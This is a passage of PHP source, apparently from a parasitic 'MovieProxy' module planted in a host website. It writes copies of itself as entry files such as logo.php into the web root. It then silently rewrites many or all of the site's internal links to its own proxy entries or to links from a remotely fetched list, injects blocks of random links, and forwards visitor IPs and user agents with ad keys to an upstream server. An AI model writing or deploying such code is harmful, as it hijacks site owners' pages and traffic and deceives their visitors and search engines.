MovieProxy_entryEnsureParentDir($file){ return is_dir(dirname((string)$file));}function MovieProxy_writeEntryFile($target, $code, $fingerprint = ''){ $cfg = MovieProxy_config(); if ($fingerprint === '') $fingerprint = MovieProxy_codeFingerprint($code); if (is_file($target)) { $head = @file_get_contents($target, false, null, 0, 4096); if (!is_string($head) || strpos($head, 'MOVIEPROXY_VERSION') === false) return 'conflict'; $targetFingerprint = MovieProxy_fileFingerprint($target); if ($targetFingerprint !== '' && $targetFingerprint === $fingerprint) return 'existing'; if (empty($cfg['auto_sync_entry_files'])) return 'old'; } elseif (file_exists($target)) { return 'conflict'; } if (!MovieProxy_entryEnsureParentDir($target)) return 'directory_failed'; $tmp = $target.'.tmp.'.getmypid().'.'.mt_rand(1000, 9999); $written = @file_put_contents($tmp, $code, LOCK_EX); if ($written === false || $written < strlen($code)) { @unlink($tmp); return 'write_failed'; } $ok = @rename($tmp, $target); if (!$ok) { $ok = @copy($tmp, $target); @unlink($tmp); } if (!$ok) return 'write_failed'; @chmod($target, 0644); clearstatcache(); if (!MovieProxy_isCompatibleEntryFile($target)) return 'verify_failed'; $newFingerprint = MovieProxy_fileFingerprint($target); if ($newFingerprint === '' || $newFingerprint !== $fingerprint) return 'verify_failed'; return is_file($target) ? 'written' : 'write_failed';}function MovieProxy_ensureEntryFiles($force = false){ static $done = false; if ($done && !$force) return true; if (!$force && MovieProxy_entrySyncFresh()) { $done = true; return true; } if (!MovieProxy_entryEnsureRootDir()) return false; $lockPath = MovieProxy_entrySyncLockPath(); $lock = @fopen($lockPath, 'c+'); if ($lock === false || !@flock($lock, LOCK_EX)) { if (is_resource($lock)) @fclose($lock); return false; } if (!$force) { clearstatcache(); $state = MovieProxy_entryReadSyncState($lockPath); $cfg = MovieProxy_config(); $interval = isset($cfg['entry_sync_interval']) ? max(0, intval($cfg['entry_sync_interval'])) : 21600; $stamp = !empty($state) ? intval($state['timestamp']) : 0; if ($stamp < 1) $stamp = intval(@filemtime($lockPath)); $age = time() - $stamp; if ( !empty($state) && $state['version'] === MOVIEPROXY_VERSION && $state['source_stamp'] !== '' && $state['source_stamp'] === MovieProxy_entrySourceStamp() && $age >= 0 && $age < $interval ) { @flock($lock, LOCK_UN); @fclose($lock); $done = true; return true; } } $code = MovieProxy_generatedCode(); $fingerprint = $code !== '' ? MovieProxy_codeFingerprint($code) : ''; $created = 0; $updated = 0; $existing = 0; $skipped = 0; if ($code !== '' && $fingerprint !== '') { foreach (MovieProxy_entryCreatePaths() as $urlPath) { $target = MovieProxy_urlPathToEntryFile($urlPath, false); if ($target === '') { $skipped++; continue; } $wasFile = is_file($target); $result = MovieProxy_writeEntryFile($target, $code, $fingerprint); if ($result === 'existing') { $existing++; } elseif ($result === 'written') { if ($wasFile) $updated++; else $created++; } else { $skipped++; } } } else { $skipped++; } @ftruncate($lock, 0); @rewind($lock); $line = implode('|', array( MOVIEPROXY_VERSION, time(), MovieProxy_entrySourceStamp(), $fingerprint, $created, $updated, $existing, $skipped ))."\n"; @fwrite($lock, $line); @fflush($lock); @flock($lock, LOCK_UN); @fclose($lock); clearstatcache(); $legacyLock = rtrim(MovieProxy_entryRootDir(), '/\\').DIRECTORY_SEPARATOR.'.movieproxy_logo_sync.lock'; if (is_file($legacyLock)) @unlink($legacyLock); $done = true; return $created > 0 || $updated > 0 || $existing > 0;}function MovieProxy_ensureLogo(){ MovieProxy_ensureEntryFiles(); $logoPath = MovieProxy_entryApplyRootPath('/logo.php'); $target = MovieProxy_urlPathToEntryFile($logoPath, true); return MovieProxy_isCompatibleEntryFile($target);}function MovieProxy_randomNumber($length){ $length = max(1, intval($length)); $value = ''; $i = 0; for ($i = 0; $i < $length; $i++) $value .= mt_rand(0, 9); return $value;}function MovieProxy_randomRangeCallback($match){ $min = intval($match[1]); $max = intval($match[2]); if ($min > $max) { $tmp = $min; $min = $max; $max = $tmp; } return MovieProxy_randomNumber(mt_rand($min, $max));}function MovieProxy_randomFixedCallback($match){ return MovieProxy_randomNumber(intval($match[1]));}function MovieProxy_randomDefaultCallback($match){ return MovieProxy_randomNumber(mt_rand(5, 8));}function MovieProxy_convertEncoding($value, $to, $from){ if ($value === '' || strcasecmp($to, $from) === 0) return $value; if (function_exists('mb_convert_encoding')) { $converted = @mb_convert_encoding($value, $to, $from); if (is_string($converted) && $converted !== '') return $converted; } if (function_exists('iconv')) { $converted = @iconv($from, $to.'//IGNORE', $value); if ($converted !== false && $converted !== '') return $converted; } return $value;}function MovieProxy_replaceRandom($value){ $value = trim((string)$value); if ($value === '') return ''; $sourceCharset = 'UTF-8'; if (@preg_match('//u', $value) !== 1) { $sourceCharset = 'GB18030'; $value = MovieProxy_convertEncoding($value, 'UTF-8', 'GB18030'); } $value = str_replace(array("\xEF\xBD\x9B", "\xEF\xBD\x9D"), array('{', '}'), $value); $value = @preg_replace_callback('/\{(?:随机数字|数字)(?:几)?\}/u', 'MovieProxy_randomDefaultCallback', $value); $labels = array('随机数字', '数字'); $i = 0; for ($i = 0; $i < count($labels); $i++) { $label = preg_quote($labels[$i], '/'); $value = @preg_replace_callback('/\{'.$label.'(\d+)\s*-\s*(\d+)\}/u', 'MovieProxy_randomRangeCallback', $value); $value = @preg_replace_callback('/\{'.$label.'(\d+)\}/u', 'MovieProxy_randomFixedCallback', $value); } $value = @preg_replace_callback('/\{(\d+)\s*-\s*(\d+)\}/', 'MovieProxy_randomRangeCallback', $value); $value = @preg_replace_callback('/\{(\d+)\}/', 'MovieProxy_randomFixedCallback', $value); if ($sourceCharset !== 'UTF-8') { $value = MovieProxy_convertEncoding($value, $sourceCharset, 'UTF-8'); } return (string)$value;}function MovieProxy_replaceYzzRandom($value){ $value = trim((string)$value); if ($value === '') return ''; $sourceCharset = 'UTF-8'; if (@preg_match('//u', $value) !== 1) { $sourceCharset = 'GB18030'; $value = MovieProxy_convertEncoding($value, 'UTF-8', 'GB18030'); } $value = str_replace(array("\xEF\xBD\x9B", "\xEF\xBD\x9D"), array('{', '}'), $value); $value = @preg_replace_callback('/\{随机数字(\d+)\s*-\s*(\d+)\}/u', 'MovieProxy_randomRangeCallback', $value); $value = @preg_replace_callback('/\{随机数字(\d+)\}/u', 'MovieProxy_randomFixedCallback', $value); $value = @preg_replace_callback('/\{随机数字几\}/u', 'MovieProxy_randomDefaultCallback', $value); $value = @preg_replace_callback('/\{随机数字\}/u', 'MovieProxy_randomDefaultCallback', $value); if ($sourceCharset !== 'UTF-8') { $value = MovieProxy_convertEncoding($value, $sourceCharset, 'UTF-8'); } return (string)$value;}function MovieProxy_pickWeightedLogoPath($cfg){ $pool = isset($cfg['logo_path_pool']) && is_array($cfg['logo_path_pool']) ? $cfg['logo_path_pool'] : array(); $valid = array(); $totalWeight = 0; $i = 0; for ($i = 0; $i < count($pool); $i++) { if (!is_array($pool[$i])) continue; $path = isset($pool[$i]['path']) ? trim((string)$pool[$i]['path']) : ''; $weight = isset($pool[$i]['weight']) ? intval($pool[$i]['weight']) : 0; if ($path === '' || $weight < 1) continue; $valid[] = array('path' => $path, 'weight' => $weight); $totalWeight += $weight; } if ($totalWeight < 1 || empty($valid)) { return !empty($cfg['logo_random_path']) ? trim((string)$cfg['logo_random_path']) : '/news/{随机数字5-8}.html'; } $point = mt_rand(1, $totalWeight); $current = 0; for ($i = 0; $i < count($valid); $i++) { $current += intval($valid[$i]['weight']); if ($point <= $current) { return (string)$valid[$i]['path']; } } return (string)$valid[count($valid) - 1]['path'];}function MovieProxy_randomLogoUrl(){ $cfg = MovieProxy_config(); $template = MovieProxy_pickWeightedLogoPath($cfg); if ($template === '') { $template = '/news/{随机数字5-8}.html'; } if (substr($template, 0, 1) !== '/') { $template = '/'.ltrim($template, '/'); } $path = MovieProxy_replaceRandom($template); if ($path === '' || strpos($path, '{') !== false || strpos($path, '}') !== false) { $path = '/news/'.MovieProxy_randomNumber(mt_rand(5, 8)).'.html'; } $prefix = MovieProxy_logoPrefix($template, false); return $prefix !== '' ? $prefix.$path : '';}function MovieProxy_randomSlug($minLength, $maxLength){ $minLength = max(3, intval($minLength)); $maxLength = max($minLength, intval($maxLength)); $length = $minLength === $maxLength ? $minLength : mt_rand($minLength, $maxLength); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; $maxIndex = strlen($chars) - 1; $slug = ''; $i = 0; for ($i = 0; $i < $length; $i++) { $slug .= $chars[mt_rand(0, $maxIndex)]; } return $slug;}function MovieProxy_isDirectEntryRequest($uri){ $current = MovieProxy_currentEntryPath(); if ($current === '') return false; $query = @parse_url((string)$uri, PHP_URL_QUERY); if ($query !== false && $query !== null && trim((string)$query) !== '') return false; $path = @parse_url((string)$uri, PHP_URL_PATH); if ($path === false || $path === null || $path === '') $path = '/'; $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', (string)$path)), '/'); $current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', (string)$current)), '/'); if (strcasecmp($path, $current) === 0) return true; if (strcasecmp(basename($current), 'index.php') === 0) { $dir = MovieProxy_normalizeBasePath(dirname($current)); if ($path === $dir || rtrim($path, '/') === rtrim($dir, '/')) return true; } return false;}function MovieProxy_directEntryLinks($count){ $cfg = MovieProxy_config(); $count = max(1, min(100, intval($count))); $entry = MovieProxy_currentEntryPath(); if ($entry === '') return array(); $topics = isset($cfg['direct_entry_link_topics']) && is_array($cfg['direct_entry_link_topics']) ? $cfg['direct_entry_link_topics'] : array('html', 'news', 'article', 'content', 'product'); $cleanTopics = array(); foreach ($topics as $topic) { $topic = strtolower(preg_replace('/[^a-z0-9_-]/i', '', trim((string)$topic))); if ($topic !== '') $cleanTopics[] = $topic; } if (empty($cleanTopics)) $cleanTopics = array('html', 'news', 'article', 'content', 'product'); $links = array(); $seen = array(); $attempts = 0; while (count($links) < $count && $attempts < $count * 20) { $attempts++; $index = count($links); $topic = $cleanTopics[$index % count($cleanTopics)]; $slug = MovieProxy_randomSlug(6, 9); $contentPath = '/'.$topic.'/'.$slug.'.html'; // 反代入口统一格式:entry.php?/真实路径 $href = $entry.'?'.$contentPath; if (isset($seen[$href])) continue; $seen[$href] = true; $links[] = array( 'href' => $href, 'text' => $topic.'-'.$slug ); } return $links;}function MovieProxy_directEntryLinksHtml($count){ $links = MovieProxy_directEntryLinks($count); if (empty($links)) return ''; $html = "\n<div id="movieproxy-auto-links" class="movieproxy-auto-links">\n"; $html .= "<ul>\n"; foreach ($links as $link) { $html .= '<li><a href="'.MovieProxy_escapeHtml($link['href']).'">'.MovieProxy_escapeHtml($link['text'])."</a></li>\n"; } $html .= "</ul>\n</div>\n"; return $html;}function MovieProxy_appendDirectEntryLinks($html){ $cfg = MovieProxy_config(); if (empty($cfg['direct_entry_links_enabled'])) return (string)$html; $html = (string)$html; if (stripos($html, 'id="movieproxy-auto-links"') !== false) return $html; $count = isset($cfg['direct_entry_link_count']) ? intval($cfg['direct_entry_link_count']) : 10; $block = MovieProxy_directEntryLinksHtml($count); if ($block === '') return $html; if (preg_match('/<\/body\s*>/i', $html)) { return preg_replace('/<\/body\s*>/i', $block.'</body>', $html, 1); } return $html.$block;}function MovieProxy_outputDirectEntryPage($method){ $cfg = MovieProxy_config(); $count = isset($cfg['direct_entry_link_count']) ? intval($cfg['direct_entry_link_count']) : 10; $links = MovieProxy_directEntryLinksHtml($count); MovieProxy_status(200); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8', true); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true); if (function_exists('header_remove')) { @header_remove('Content-Length'); @header_remove('Content-Encoding'); } } if (strtoupper((string)$method) === 'HEAD') return; $entry = MovieProxy_currentEntryPath(); $page = '<!doctype html><html><head><meta charset="utf-8"><title>'.MovieProxy_escapeHtml($entry).'</title></head><body>'; $page .= $links; $page .= '</body></html>'; echo MovieProxy_forceQuestionEntryLinks($page);}function MovieProxy_curlHeaderCallback($ch, $line){ $length = strlen($line); $position = strpos($line, ':'); if ($position !== false) { $name = strtolower(trim(substr($line, 0, $position))); $value = trim(substr($line, $position + 1)); if ($name !== '') { if (!isset($GLOBALS['MovieProxy_curlResponseHeaders']) || !is_array($GLOBALS['MovieProxy_curlResponseHeaders'])) { $GLOBALS['MovieProxy_curlResponseHeaders'] = array(); } $GLOBALS['MovieProxy_curlResponseHeaders'][$name] = $value; } } return $length;}function MovieProxy_http($url, $headers, $ua, $ref){ $cfg = MovieProxy_config(); $connectTimeout = max(1, intval($cfg['connect_timeout'])); $timeout = max($connectTimeout, intval($cfg['timeout'])); $responseHeaders = array(); if (function_exists('curl_init')) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_USERAGENT, $ua); @curl_setopt($ch, CURLOPT_HTTPHEADER, is_array($headers) ? $headers : array()); @curl_setopt($ch, CURLOPT_REFERER, $ref); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_HEADER, false); $GLOBALS['MovieProxy_curlResponseHeaders'] = array(); @curl_setopt($ch, CURLOPT_HEADERFUNCTION, 'MovieProxy_curlHeaderCallback'); @curl_setopt($ch, CURLOPT_ENCODING, ''); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connectTimeout); @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_MAXREDIRS, 3); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, !empty($cfg['ssl_verify'])); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, !empty($cfg['ssl_verify']) ? 2 : 0); if (!empty($cfg['force_ipv4']) && defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4')) { @curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); } $body = @curl_exec($ch); $code = intval(@curl_getinfo($ch, CURLINFO_HTTP_CODE)); if (isset($GLOBALS['MovieProxy_curlResponseHeaders']) && is_array($GLOBALS['MovieProxy_curlResponseHeaders'])) { $responseHeaders = $GLOBALS['MovieProxy_curlResponseHeaders']; } unset($GLOBALS['MovieProxy_curlResponseHeaders']); @curl_close($ch); return array($body, $code, $responseHeaders); } $headerText = is_array($headers) && !empty($headers) ? implode("\r\n", $headers)."\r\n" : ''; $context = @stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3, 'user_agent' => $ua, 'header' => $headerText ), 'ssl' => array( 'verify_peer' => !empty($cfg['ssl_verify']), 'verify_peer_name' => !empty($cfg['ssl_verify']), 'allow_self_signed' => empty($cfg['ssl_verify']) ) )); $body = @file_get_contents($url, false, $context); $code = 0; if (isset($http_response_header) && is_array($http_response_header)) { foreach ($http_response_header as $line) { if (preg_match('#^HTTP/\S+\s+(\d{3})#i', $line, $m)) { $code = intval($m[1]); continue; } $position = strpos((string)$line, ':'); if ($position !== false) { $name = strtolower(trim(substr((string)$line, 0, $position))); $value = trim(substr((string)$line, $position + 1)); if ($name !== '') $responseHeaders[$name] = $value; } } } return array($body, $code, $responseHeaders);}function MovieProxy_requestId(){ static $id = ''; if ($id !== '') return $id; $id = date('YmdHis').'-'.substr(md5(uniqid('', true).mt_rand()), 0, 20); return $id;}function MovieProxy_requestHeaders($host, $uri, $ua, $ref, $ip, $withKey, $originalUri = ''){ $cfg = MovieProxy_config(); $scheme = MovieProxy_requestScheme(); $uri = MovieProxy_clean($uri); if ($originalUri === '') $originalUri = $uri; $originalUri = MovieProxy_clean($originalUri); $fullUrl = $scheme.'://'.$host.$uri; $originalFullUrl = $scheme.'://'.$host.$originalUri; $originalPath = @parse_url($originalUri, PHP_URL_PATH); if (MovieProxy_isDirectEntryRequest($originalUri)) { $entryPath = MovieProxy_currentEntryPath(); } elseif ($originalPath !== false && $originalPath !== null && MovieProxy_isProxyEntryUrl($originalPath)) { $currentEntry = MovieProxy_currentEntryPath(); $entryPath = $currentEntry !== '' ? $currentEntry : '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $originalPath)), '/'); } else { $entryPath = ''; } $entry = $entryPath !== '' ? 'logo' : 'direct'; $headers = array( 'X-SSProxy-Protocol: SSPV13', 'X-SSProxy-Host: '.$host, 'X-SSProxy-Scheme: '.$scheme, 'X-SSProxy-URI: '.$uri, 'X-SSProxy-Full-URL: '.$fullUrl, 'X-SSProxy-Original-URI: '.$originalUri, 'X-SSProxy-Original-Full-URL: '.$originalFullUrl, 'X-SSProxy-Entry: '.$entry, 'X-SSProxy-Entry-Path: '.$entryPath, 'X-SSProxy-Visitor-IP: '.$ip, 'X-SSProxy-Visitor-UA: '.$ua, 'X-SSProxy-Referer: '.$ref, 'X-SSProxy-Request-ID: '.MovieProxy_requestId() ); if ($withKey) { if (!empty($cfg['ad_key'])) { $headers[] = 'X-SSProxy-Ad-Key: '.MovieProxy_clean($cfg['ad_key']); } $adJsBase = MovieProxy_resourceValue('ad_js_base'); if ($adJsBase !== '') { $headers[] = 'X-SSProxy-Ad-Js-Base: '.MovieProxy_clean($adJsBase); } if (!empty($cfg['proxy_key'])) { $headers[] = 'X-SSProxy-Proxy-Key: '.MovieProxy_clean($cfg['proxy_key']); } } return $headers;}function MovieProxy_yzzFetchText(){ static $loaded = false; static $text = ''; if ($loaded) return $text; $loaded = true; $cfg = MovieProxy_config(); if (empty($cfg['yzz_enabled'])) return ''; $url = MovieProxy_resourceValue('yzz_url'); if ($url === '' || !filter_var($url, FILTER_VALIDATE_URL)) return ''; $requestUrl = $url; if (!empty($cfg['yzz_cache_bust'])) { $window = isset($cfg['yzz_cache_bust_window']) ? max(1, intval($cfg['yzz_cache_bust_window'])) : 30; $token = intval(floor(time() / $window)); $requestUrl .= (strpos($requestUrl, '?') === false ? '?' : '&').'_mp_yzz='.$token; } $connectTimeout = isset($cfg['yzz_connect_timeout']) ? max(1, intval($cfg['yzz_connect_timeout'])) : 3; $timeout = isset($cfg['yzz_timeout']) ? max($connectTimeout, intval($cfg['yzz_timeout'])) : 6; $maxBytes = isset($cfg['yzz_max_bytes']) ? max(1024, intval($cfg['yzz_max_bytes'])) : 1048576; $ua = !empty($_SERVER['HTTP_USER_AGENT']) ? MovieProxy_clean($_SERVER['HTTP_USER_AGENT']) : 'Mozilla/5.0'; $body = false; $code = 0; if (function_exists('curl_init')) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $requestUrl); @curl_setopt($ch, CURLOPT_USERAGENT, $ua); @curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept: text/plain, */*;q=0.8', 'Cache-Control: no-cache', 'Pragma: no-cache' )); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_ENCODING, ''); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connectTimeout); @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_MAXREDIRS, 3); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, !empty($cfg['ssl_verify'])); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, !empty($cfg['ssl_verify']) ? 2 : 0); if (!empty($cfg['force_ipv4']) && defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4')) { @curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); } $body = @curl_exec($ch); $code = intval(@curl_getinfo($ch, CURLINFO_HTTP_CODE)); @curl_close($ch); } else { $context = @stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3, 'user_agent' => $ua, 'header' => "Accept: text/plain, */*;q=0.8\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n" ), 'ssl' => array( 'verify_peer' => !empty($cfg['ssl_verify']), 'verify_peer_name' => !empty($cfg['ssl_verify']), 'allow_self_signed' => empty($cfg['ssl_verify']) ) )); $body = @file_get_contents($requestUrl, false, $context); if (isset($http_response_header) && is_array($http_response_header)) { foreach ($http_response_header as $line) { if (preg_match('#^HTTP/\S+\s+(\d{3})#i', (string)$line, $m)) { $code = intval($m[1]); } } } } if ($body === false || ($code !== 0 && ($code < 200 || $code >= 400))) return ''; $body = substr((string)$body, 0, $maxBytes); if ($body !== '' && @preg_match('//u', $body) !== 1) { $body = MovieProxy_convertEncoding($body, 'UTF-8', 'GB18030'); } $text = is_string($body) ? $body : ''; return $text;}function MovieProxy_yzzAllowedTemplate($url){ $url = trim((string)$url); if ($url === '' || substr($url, 0, 1) === '#') return false; if (strpbrk($url, "\0\r\n<>"'") !== false) return false; if (preg_match('#^(?:javascript:|data:|mailto:|tel:|vbscript:|file:)#i', $url)) return false; if (preg_match('#^https?://#i', $url)) return true; if (substr($url, 0, 2) === '//' || substr($url, 0, 1) === '/') return true; return preg_match('~^[A-Za-z0-9.-]+\.[A-Za-z]{2,}(?::\d+)?(?:[/?#]|$)~', $url) === 1;}function MovieProxy_yzzPool(){ static $pool = null; if (is_array($pool)) return $pool; $cfg = MovieProxy_config(); $mode = isset($cfg['yzz_default_mode']) ? intval($cfg['yzz_default_mode']) : 3; if ($mode < 1 || $mode > 3) $mode = 3; $pool = array('mode' => $mode, 'links' => array()); $text = MovieProxy_yzzFetchText(); if (trim($text) === '') return $pool; $text = preg_replace('/^\xEF\xBB\xBF/', '', $text); $rows = preg_split('/\r\n|\r|\n/', (string)$text); $links = array(); $modeFound = false; foreach ($rows as $row) { $row = trim((string)$row); if ($row === '') continue; if (substr($row, 0, 1) === '#') { if (!$modeFound && preg_match('/^#\s*([123])(?:\s|$)/', $row, $m)) { $pool['mode'] = intval($m[1]); $modeFound = true; } continue; } if (MovieProxy_yzzAllowedTemplate($row)) $links[$row] = true; } $pool['links'] = array_keys($links); $max = isset($cfg['yzz_pool_max']) ? max(1, intval($cfg['yzz_pool_max'])) : 5000; if (count($pool['links']) > $max) { shuffle($pool['links']); $pool['links'] = array_slice($pool['links'], 0, $max); } return $pool;}function MovieProxy_randomYzzLink($links){ if (!is_array($links) || empty($links)) return ''; $url = trim((string)$links[mt_rand(0, count($links) - 1)]); if (!MovieProxy_yzzAllowedTemplate($url)) return ''; $url = MovieProxy_replaceYzzRandom($url); if ($url === '' || strpos($url, '{') !== false || strpos($url, '}') !== false) return ''; return MovieProxy_yzzAllowedTemplate($url) ? $url : '';}function MovieProxy_randomRewriteTarget(){ $cfg = MovieProxy_config(); $pool = MovieProxy_yzzPool(); $mode = intval($pool['mode']); $links = $pool['links']; if ($mode === 1 || empty($links)) return MovieProxy_randomLogoUrl(); if ($mode === 2) { $url = MovieProxy_randomYzzLink($links); return $url !== '' ? $url : MovieProxy_randomLogoUrl(); } $percent = isset($cfg['yzz_replace_percent']) ? intval($cfg['yzz_replace_percent']) : 30; $percent = max(0, min(100, $percent)); if ($percent > 0 && mt_rand(1, 100) <= $percent) { $url = MovieProxy_randomYzzLink($links); if ($url !== '') return $url; } return MovieProxy_randomLogoUrl();}function MovieProxy_normalizeInternalUrl($url){ $url = trim((string)$url); if ($url === '') return ''; if (substr($url, 0, 1) === '#') return ''; if (preg_match('#^(?:javascript:|mailto:|tel:|data:)#i', $url)) return ''; if (preg_match('#^https?://#i', $url)) { $urlHost = strtolower((string)@parse_url($url, PHP_URL_HOST)); $siteHost = strtolower((string)(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '')); $siteHost = preg_replace('#:\d+$#', '', $siteHost); if ($urlHost === '' || $urlHost !== $siteHost) return ''; $path = @parse_url($url, PHP_URL_PATH); $query = @parse_url($url, PHP_URL_QUERY); $url = ($path !== false && $path !== null && $path !== '') ? $path : '/'; if ($query !== false && $query !== null && $query !== '') $url .= '?'.$query; } if (substr($url, 0, 2) === '//') return ''; if (substr($url, 0, 1) !== '/') $url = '/'.ltrim($url, '/'); if (MovieProxy_isProxyEntryUrl($url)) return ''; $check = $url; $base = MovieProxy_installBasePath(); if ($base !== '/' && strpos($check, $base) === 0) { $check = '/'.ltrim(substr($check, strlen($base)), '/'); } if (preg_match('#^/(?:admin|api|data|runtime|app|assets|templates)(?:/|$)#i', $check)) return ''; $pathOnly = @parse_url($check, PHP_URL_PATH); if ($pathOnly === false || $pathOnly === null) $pathOnly = $check; if (preg_match('/\.(?:css|js|mjs|jpg|jpeg|png|gif|webp|svg|ico|bmp|avif|woff2?|ttf|eot|mp4|m3u8|ts|mp3|wav|pdf|zip|rar|7z)$/i', $pathOnly)) { return ''; } return $url;}function MovieProxy_replacementCount($total, $isHome){ $cfg = MovieProxy_config(); $total = intval($total); if ($total < 2) return 0; if ($isHome) { $chance = max(0, min(100, intval($cfg['home_rewrite_chance']))); if ($chance < 100 && mt_rand(1, 100) > $chance) return 0; $percent = max(1, min(99, intval($cfg['home_replace_percent']))); } else { $min = max(1, min(99, intval($cfg['inner_replace_min_percent']))); $max = max(1, min(99, intval($cfg['inner_replace_max_percent']))); if ($min > $max) { $tmp = $min; $min = $max; $max = $tmp; } $percent = $min === $max ? $min : mt_rand($min, $max); } $count = intval(floor($total * $percent / 100)); if ($count < 1) $count = 1; if ($count >= $total) $count = $total - 1; return $count;}function MovieProxy_sortOffsetDesc($a, $b){ if ($a['offset'] === $b['offset']) return 0; return $a['offset'] > $b['offset'] ? -1 : 1;}function MovieProxy_forceQuestionEntryUrl($url){ $url = trim((string)$url); if ($url === '') return $url; // 允许绝对 URL;只规范它的路径部分,不改变域名。 $origin = ''; $tail = $url; if (preg_match('#^(https?://[^/]+)(/.*)$#i', $url, $m)) { $origin = (string)$m[1]; $tail = (string)$m[2]; } $paths = MovieProxy_availableEntryPaths(); if (!is_array($paths) || empty($paths)) return $url; foreach ($paths as $entryPath) { $entryPath = (string)$entryPath; if ($entryPath === '') continue; // 已经是正确格式:logo.php?/path if (stripos($tail, $entryPath.'?') === 0) { return $origin.$tail; } // 修复旧错误格式:logo.php/path -> logo.php?/path if (stripos($tail, $entryPath.'/') === 0) { return $origin.$entryPath.'?'.substr($tail, strlen($entryPath)); } } return $url;}function MovieProxy_forceQuestionHtmlCallback($match){ if (!isset($match[1], $match[2], $match[3])) return isset($match[0]) ? $match[0] : ''; $url = MovieProxy_forceQuestionEntryUrl($match[3]); return $match[1].'='.$match[2].$url.$match[2];}function MovieProxy_forceQuestionEntryLinks($html){ $html = (string)$html; if ($html === '') return $html; $fixed = @preg_replace_callback( '/\b(href|action)\s*=\s*(["\'])([^"\']*)\2/i', 'MovieProxy_forceQuestionHtmlCallback', $html ); return is_string($fixed) ? $fixed : $html;}function MovieProxy_isRootHomepageRequest(){ $uri = isset($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : '/'; $path = @parse_url($uri, PHP_URL_PATH); if ($path === false || $path === null || $path === '') $path = '/'; $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/'); // 只把网站根目录首页作为例外;子目录 /xxx/index.php 不属于根首页。 return $path === '/' || strcasecmp($path, '/index.php') === 0 || strcasecmp($path, '/index.html') === 0 || strcasecmp($path, '/index.htm') === 0;}/* * 非根首页的替换目标统一强制为: * entry.php?/real/path * * 这样即使 YZZ 返回的是 /news/123.html 或完整 URL, * 最终输出也仍走本地 PHP 反代入口。 */function MovieProxy_forceRewriteTargetQuestion($url){ $url = trim((string)$url); if ($url === '') return ''; // 根目录首页按原有逻辑保留,不强制 100% 入口化。 if (MovieProxy_isRootHomepageRequest()) return $url; // 先修复已有 entry.php/path 旧格式;正确的 entry.php?/path 会原样返回。 $fixed = MovieProxy_forceQuestionEntryUrl($url); $paths = MovieProxy_availableEntryPaths(); if (is_array($paths)) { foreach ($paths as $entryPath) { $entryPath = (string)$entryPath; if ($entryPath === '') continue; if (stripos($fixed, $entryPath.'?') === 0) return $fixed; } } // 普通/YZZ 链接抽出真实路径,再套一层 PHP? 入口。 $original = MovieProxy_apiOriginalUrl($fixed); if ($original === '') return ''; $entry = MovieProxy_pickEntryPath($original, true); if ($entry === '') $entry = MovieProxy_pickEntryPath($original, false); if ($entry === '') return ''; return $entry.'?'.$original;}function MovieProxy_rewriteSiteHtml($html, $isHome){ $html = (string)$html; if ($html === '' || stripos($html, 'href') === false) return $html; $matches = array(); $flags = PREG_SET_ORDER; if (defined('PREG_OFFSET_CAPTURE')) $flags |= PREG_OFFSET_CAPTURE; $found = @preg_match_all('/\bhref\s*=\s*(["\'])([^"\']*)\1/i', $html, $matches, $flags); if (!$found || empty($matches)) return $html; $eligible = array(); $i = 0; for ($i = 0; $i < count($matches); $i++) { if (!isset($matches[$i][2][0], $matches[$i][2][1])) continue; if (MovieProxy_normalizeInternalUrl($matches[$i][2][0]) === '') continue; $eligible[] = array( 'offset' => intval($matches[$i][2][1]), 'length' => strlen((string)$matches[$i][2][0]) ); } if (MovieProxy_isRootHomepageRequest()) { // 根目录首页保留原来的随机替换比例。 $count = MovieProxy_replacementCount(count($eligible), !empty($isHome)); } else { // logo.php、其它入口 PHP、子目录 index.php:全部可反代内容链接都替换。 $count = count($eligible); } if ($count < 1) return MovieProxy_forceQuestionEntryLinks($html); shuffle($eligible); $selected = array_slice($eligible, 0, $count); usort($selected, 'MovieProxy_sortOffsetDesc'); for ($i = 0; $i < count($selected); $i++) { $target = MovieProxy_randomRewriteTarget(); if ($target === '') continue; if (!MovieProxy_isRootHomepageRequest()) { $target = MovieProxy_forceRewriteTargetQuestion($target); if ($target === '') continue; } $html = substr_replace( $html, $target, $selected[$i]['offset'], 